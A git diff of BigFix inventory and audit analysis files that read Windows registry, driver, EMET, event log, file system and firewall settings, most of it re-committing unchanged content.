+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 28 Aug 2014 15:31:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="5" Name="Number of EPSON trusted publisher certs" EvaluationPeriod="P1D">number of (it) whose(it contains &quot;5345494b4f204550534f4e&quot;) of (values &quot;Blob&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates&quot; of native registry as string)</Property>
+    <Property ID="6" Name="(#, Description) of supported models of installed logitech drivers" EvaluationPeriod="P1D">(multiplicity of it, it) of unique values of (&quot;Logitech &quot; &amp; (it as string)) of (if (it starts with &quot;Logitech &quot;) then (following text of first &quot;Logitech &quot; of it) else it) of (if (it contains &quot;Logitech QuickCam Pro &quot;) then (following text of first &quot;Logitech QuickCam &quot; of it) else it) of (if (it contains &quot;Webcam &quot;) then (following text of first &quot;Webcam &quot; of it) else it) of (if (it contains &quot;)&quot;) then (preceding text of last &quot;)&quot; of it) else it) of (if (it contains &quot;(&quot;) then (following text of first &quot;(&quot; of it) else it) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of following text of first &quot;=&quot; of it) of items 3 of (item 0 of it, item 1 of it, minimum of line numbers of item 2 of it, lines of item 0 of it) whose(((item 1 of it) &lt; line number of item 3 of it) AND ((item 2 of it) &gt; (line number of item 3 of it)) AND (item 3 of it contains &quot;PID_&quot;)) of (item 0 of it, item 1 of it, lines whose(it starts with &quot;[&quot; AND it ends with &quot;]&quot;) of item 0 of it) whose(item 1 of it &lt; line number of item 2 of it) of (it, line number of line whose(it starts with &quot;[Strings]&quot;) of it) of items 0 whose(content of it contains &quot;Logitech&quot;) of (files of item 0 of it, item 1 of it) whose(name of item 0 of it as lowercase = item 1 of it) of (it, (it &amp; &quot;.inf&quot;) of preceding text of first &quot;.inf&quot; of (name of it as lowercase)) of folders whose( ((name of it as lowercase starts with &quot;lv&quot;) OR (name of it as lowercase starts with &quot;lpro&quot;)) AND (name of it as lowercase contains &quot;.inf&quot;) ) of folders &quot;DriverStore\FileRepository&quot; of system x64 folder</Property>
+    <Property ID="7" Name="Names of Scanners of Epson Drivers currently installed in system" EvaluationPeriod="PT12H">keys &quot;DSName&quot; of sections &quot;Strings&quot; of items 0 of (files of item 0 of it, item 1 of it) whose(name of item 0 of it as lowercase = item 1 of it) of (it, (it &amp; &quot;.inf&quot;) of preceding text of first &quot;.inf&quot; of (name of it as lowercase)) of folders whose((name of it as lowercase starts with &quot;es&quot;) AND (name of it as lowercase contains &quot;.inf&quot;)) of folders &quot;DriverStore\FileRepository&quot; of system x64 folder</Property>
+    <Property ID="8" Name="NVIDIA" EvaluationPeriod="P2D">unique values of (it as trimmed string) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of it) of lines whose(it starts with &quot;NVIDIA_DEV&quot;) of files whose(name of it as lowercase ends with &quot;.inf&quot;) of folders whose(name of it as lowercase starts with &quot;nvlewu&quot;) of folders &quot;DriverStore\FileRepository&quot; of system folder</Property>
+    <Property ID="9" Name="Intel" EvaluationPeriod="P2D">unique values of (it as trimmed string) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of it) of (concatenation of characters whose (it != &quot;%00&quot;) of it) of lines whose(exists (concatenation of characters whose (it != &quot;%00&quot;) of it) whose(it starts with &quot;i&quot; AND it contains &quot;Intel(R) &quot;)) of files whose(name of it as lowercase ends with &quot;.inf&quot;) of folders whose(name of it as lowercase starts with &quot;igdlh&quot;) of folders &quot;DriverStore\FileRepository&quot; of system folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes b/Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes
index 1ccc91fe5..cbaafd7d5 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes	
@@ -1,22 +1,22 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Drivers - Windows
-  ID       : 2998242
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T17:50:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Drivers - Windows</Title>
-    <Description><![CDATA[This analysis covers the action that Windows takes when loading drivers with invalid or missing digital signatures as well as the install printer drivers on the system.
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Drivers - Behavior on Signature Failure - Windows" EvaluationPeriod="P1D">(if (it = &quot;00&quot;) then (&quot;Ignore&quot;) else (if (it = &quot;01&quot;) then &quot;Warn&quot; else &quot;Block&quot;)) of (value &quot;Policy&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Non-Driver Signing&quot; of native registry as string)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Drivers - Windows
+  ID       : 2998242
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:50:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Drivers - Windows</Title>
+    <Description><![CDATA[This analysis covers the action that Windows takes when loading drivers with invalid or missing digital signatures as well as the install printer drivers on the system.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Drivers - Behavior on Signature Failure - Windows" EvaluationPeriod="P1D">(if (it = &quot;00&quot;) then (&quot;Ignore&quot;) else (if (it = &quot;01&quot;) then &quot;Warn&quot; else &quot;Block&quot;)) of (value &quot;Policy&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Non-Driver Signing&quot; of native registry as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes b/Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes
index 023e8ea2b..993d720bf 100644
--- a/Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : EMET - Configuration - Windows
-  ID       : 2998302
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:03:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>EMET - Configuration - Windows</Title>
-    <Description><![CDATA[<P>This analysis covers various details of the currently deployed EMET configuration.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/EMET">https://github.com/strawgate/C3-Protect/wiki/EMET</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry</Relevance>
-    <Relevance>exists service &quot;EMET_SERVICE&quot;</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="EMET - Mitigated Applications - Windows" EvaluationPeriod="PT6H">(name of it, it) of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry</Property>
-    <Property ID="2" Name="EMET - Service State - Windows" EvaluationPeriod="P1D">state of service &quot;EMET_Service&quot;</Property>
-    <Property ID="3" Name="EMET - Version - Windows" EvaluationPeriod="P1D">version of service &quot;EMET_Service&quot;</Property>
-    <Property ID="4" Name="EMET - Sites with Certificate Pinning - Windows" EvaluationPeriod="P1D">(name of it, it) of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\CertPinning\Sites&quot; of native registry</Property>
-    <Property ID="5" Name="EMET - Anti-Detours Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;AntiDetours&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
-    <Property ID="6" Name="EMET - Banned Functions Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;BannedFunctions&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
-    <Property ID="7" Name="EMET - Deep Hooks Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;DeepHooks&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
-    <Property ID="8" Name="EMET - Unsafe Settings Available - Windows" EvaluationPeriod="P1D">(if (value &quot;EnableUnsafeSettings&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
-    <Property ID="9" Name="EMET - Exploit Action - Windows" EvaluationPeriod="P1D">(if (value &quot;ExploitAction&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Kill Process&quot; else &quot;Audit&quot;) | &quot;audit&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : EMET - Configuration - Windows
+  ID       : 2998302
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:03:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>EMET - Configuration - Windows</Title>
+    <Description><![CDATA[<P>This analysis covers various details of the currently deployed EMET configuration.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/EMET">https://github.com/strawgate/C3-Protect/wiki/EMET</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry</Relevance>
+    <Relevance>exists service &quot;EMET_SERVICE&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="EMET - Mitigated Applications - Windows" EvaluationPeriod="PT6H">(name of it, it) of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry</Property>
+    <Property ID="2" Name="EMET - Service State - Windows" EvaluationPeriod="P1D">state of service &quot;EMET_Service&quot;</Property>
+    <Property ID="3" Name="EMET - Version - Windows" EvaluationPeriod="P1D">version of service &quot;EMET_Service&quot;</Property>
+    <Property ID="4" Name="EMET - Sites with Certificate Pinning - Windows" EvaluationPeriod="P1D">(name of it, it) of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\CertPinning\Sites&quot; of native registry</Property>
+    <Property ID="5" Name="EMET - Anti-Detours Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;AntiDetours&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="6" Name="EMET - Banned Functions Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;BannedFunctions&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="7" Name="EMET - Deep Hooks Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;DeepHooks&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="8" Name="EMET - Unsafe Settings Available - Windows" EvaluationPeriod="P1D">(if (value &quot;EnableUnsafeSettings&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="9" Name="EMET - Exploit Action - Windows" EvaluationPeriod="P1D">(if (value &quot;ExploitAction&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Kill Process&quot; else &quot;Audit&quot;) | &quot;audit&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes b/Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes
index 30038e56c..16aa78afb 100644
--- a/Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : EMET - Logs - Windows
-  ID       : 2998438
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-29T11:24:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>EMET - Logs - Windows</Title>
-    <Description><![CDATA[<P>This analysis provides information on EMET Mitigations Fired</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/EMET">https://github.com/strawgate/C3-Protect/wiki/EMET</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists service &quot;EMET_SERVICE&quot;</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="EMET - Mitigated Events - Windows" EvaluationPeriod="PT1H">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it = &quot;EMET&quot; and (event id of it = 2 or event id of it = 1)) of application event log</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : EMET - Logs - Windows
+  ID       : 2998438
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T11:24:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>EMET - Logs - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information on EMET Mitigations Fired</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/EMET">https://github.com/strawgate/C3-Protect/wiki/EMET</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;EMET_SERVICE&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="EMET - Mitigated Events - Windows" EvaluationPeriod="PT1H">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it = &quot;EMET&quot; and (event id of it = 2 or event id of it = 1)) of application event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes b/Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes
index e06f6ae04..f7d193dfd 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Event Log - Windows
-  ID       : 2998243
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T17:50:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Event Log - Windows</Title>
-    <Description><![CDATA[Learn more about this analysis online: <A href="http://bigfix.me/cdb/analysis/2995921">http://bigfix.me/cdb/analysis/2995921</A><BR><BR>Pulls the maximum size of various event logs from the Windows Registry and formats them as megabytes
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.0"]]></Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Event Log - Security Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Security&quot; of registry) as string as integer / 1024 / 1024</Property>
-    <Property ID="2" Name="Event Log - Hardware Events Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\HardwareEvents&quot; of registry) as string as integer / 1024 / 1024</Property>
-    <Property ID="4" Name="Event Log - Key Management Service Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Key Management Service&quot; of registry) as string as integer / 1024 / 1024</Property>
-    <Property ID="5" Name="Event Log - System Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\System&quot; of registry) as string as integer / 1024 / 1024</Property>
-    <Property ID="6" Name="Event Log - Powershell - Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Windows PowerShell&quot; of registry) as string as integer / 1024 / 1024</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Event Log - Windows
+  ID       : 2998243
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:50:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Event Log - Windows</Title>
+    <Description><![CDATA[Learn more about this analysis online: <A href="http://bigfix.me/cdb/analysis/2995921">http://bigfix.me/cdb/analysis/2995921</A><BR><BR>Pulls the maximum size of various event logs from the Windows Registry and formats them as megabytes
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.0"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Event Log - Security Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Security&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="2" Name="Event Log - Hardware Events Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\HardwareEvents&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="4" Name="Event Log - Key Management Service Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Key Management Service&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="5" Name="Event Log - System Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\System&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="6" Name="Event Log - Powershell - Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Windows PowerShell&quot; of registry) as string as integer / 1024 / 1024</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes b/Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes
index 6edca0c23..dc158907f 100644
--- a/Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : File System Configuration Audit - Windows
-  ID       : 2994783
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T09:03:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>File System Configuration Audit - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 08 Sep 2014 18:20:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="DisableDeleteNotification (0=TRIM_Enabled)" EvaluationPeriod="P2D">value &quot;DisableDeleteNotification&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot; /* a result of 0 means TRIM is enabled as far as the Windows/NTFS side is concerned. This does not mean that these TRIM notifications are actually being used by the actual storage system, which may or may not support TRIM. */ </Property>
-    <Property ID="2" Name="NtfsDisableLastAccessUpdate" EvaluationPeriod="PT12H">value &quot;NtfsDisableLastAccessUpdate&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot;</Property>
-    <Property ID="3" Name="NtfsMemoryUsage" EvaluationPeriod="PT12H">value &quot;NtfsMemoryUsage&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : File System Configuration Audit - Windows
+  ID       : 2994783
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:03:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>File System Configuration Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 08 Sep 2014 18:20:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="DisableDeleteNotification (0=TRIM_Enabled)" EvaluationPeriod="P2D">value &quot;DisableDeleteNotification&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot; /* a result of 0 means TRIM is enabled as far as the Windows/NTFS side is concerned. This does not mean that these TRIM notifications are actually being used by the actual storage system, which may or may not support TRIM. */ </Property>
+    <Property ID="2" Name="NtfsDisableLastAccessUpdate" EvaluationPeriod="PT12H">value &quot;NtfsDisableLastAccessUpdate&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot;</Property>
+    <Property ID="3" Name="NtfsMemoryUsage" EvaluationPeriod="PT12H">value &quot;NtfsMemoryUsage&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes b/Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes
index fa1d4f46c..c7dedcd48 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Firewall - Configuration - Windows
-  ID       : 2998518
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-16T17:17:59
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Firewall - Configuration - Windows</Title>
-    <Description><![CDATA[<P>Provides information on the current configuration of the Windows Firewall. </P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Firewall - State - Windows" EvaluationPeriod="P1D">(&quot;Domain&quot;, firewall enabled of domain profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;));(&quot;Public&quot;, firewall enabled of public profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;));(&quot;Private&quot;, firewall enabled of private profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;))</Property>
-    <Property ID="2" Name="Firewall - Current Profiles - Windows" EvaluationPeriod="P1D">profile types of firewall</Property>
-    <Property ID="3" Name="Firewall - Inbound ICMP Echo - Windows" EvaluationPeriod="P1D">allow inbound echo request of icmp settings of current profile of local policy of firewall </Property>
-    <Property ID="4" Name="Firewall - Local Modification Allowed - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = ok firewall local policy modify state</Property>
-    <Property ID="5" Name="Firewall - Group Policy Overrides Local Policy - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = gp override firewall local policy modify state</Property>
-    <Property ID="6" Name="Firewall - All Unsolicited Inbound Traffic Blocked - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = inbound blocked firewall local policy modify state</Property>
-    <Property ID="7" Name="Firewall - Authorized Applications - Windows" EvaluationPeriod="PT12H">(name of it, remote addresses of it, ip version of it, process image file name of it) of authorized applications whose (enabled of it = true) of current profile of local policy of firewall</Property>
